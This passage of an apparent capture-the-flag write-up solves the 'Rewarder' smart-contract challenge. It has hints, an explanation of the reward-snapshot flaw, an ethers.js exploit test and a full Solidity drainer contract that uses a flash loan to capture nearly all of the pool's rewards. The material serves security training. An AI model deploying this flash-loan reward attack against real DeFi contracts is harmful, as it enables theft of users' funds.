lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}
function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}
The hints and solutions for this level can be found below:
Hint 1:
Another standard flash loan. We have to repay it, but of course we must be able to do something with the borrowed funds before we repay it. Looking at the rewarder pool, what functions can we combine to both modify our rewards and repay our flash loan?
Hint 2:
How are the rewards calculated and distributed?
Solution:
The flash loan allows us to create a contract that implements the receiveFlashLoan(uint256)
function. If we look at the TheRewarderPool.sol
contract, we can see that the reward tokens are distrubuted using the following formula: rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
. This means that rewards are calculated using a ratio of how many tokens you deposit to how many tokens are already deposited. We can see right away that for very large amounts deposited, the factor for the already deposited tokens becomes negligible. Thus, by making a large deposit of DVT tokens, we can take almost all of the rewards in the pool. The path to do so is straightforward, we simply have to wait the 5 days for a new snapshot to be eligible, and then we can take a flash loan and call the deposit(uint256)
and withdraw(uint256)
functions to update the snapshot and then transfer the tokens back. Finally, we can simply transfer the reward tokens our contract accrued to the attacker to complete the challenge.
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
const RewarderAttackerFactory = await ethers.getContractFactory('RewarderPoolDrainer', deployer);
this.r_attacker = await RewarderAttackerFactory.deploy(this.rewarderPool.address, this.flashLoanPool.address, this.liquidityToken.address);
await this.r_attacker.attack(TOKENS_IN_LENDER_POOL);
await this.r_attacker.payAttacker(attacker.address, this.rewardToken.address, ethers.utils.parseEther('100').sub(ethers.utils.parseUnits('1', 17)));
await this.r_attacker.payAttacker(attacker.address, this.rewardToken.address, 1);
});
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title RewarderPoolDrainer.sol
* @author securerodd
*/
interface IRewarderPool {
function deposit(uint256) external payable;
function withdraw(uint256) external payable;
}
interface IFlashLoaner {
function flashLoan(uint256) external;
}
interface ILiquidityToken {
function approve(address, uint256) external;
function transfer(address, uint256) external;
}
interface IRewardToken {
function transfer(address, uint256) external;
}
contract RewarderPoolDrainer {
IRewarderPool public pool;
IFlashLoaner public lender;
ILiquidityToken public token;
constructor(address _poolAddress, address _lenderAddress, address _token) {
pool = IRewarderPool(_poolAddress);
lender = IFlashLoaner(_lenderAddress);
token = ILiquidityToken(_token);
}
function receiveFlashLoan(uint256 _amount) external {
token.approve(address(pool), _amount);
pool.deposit(_amount);
pool.withdraw(_amount);
token.transfer(address(lender), _amount);
}
function payAttacker(address _attacker, address _rewardToken, uint256 _amount) external {
IRewardToken rewardToken = IRewardToken(_rewardToken);
rewardToken.transfer(_attacker, _amount);
}
function attack(uint _amount) external {
lender.flashLoan(_amount);
}
}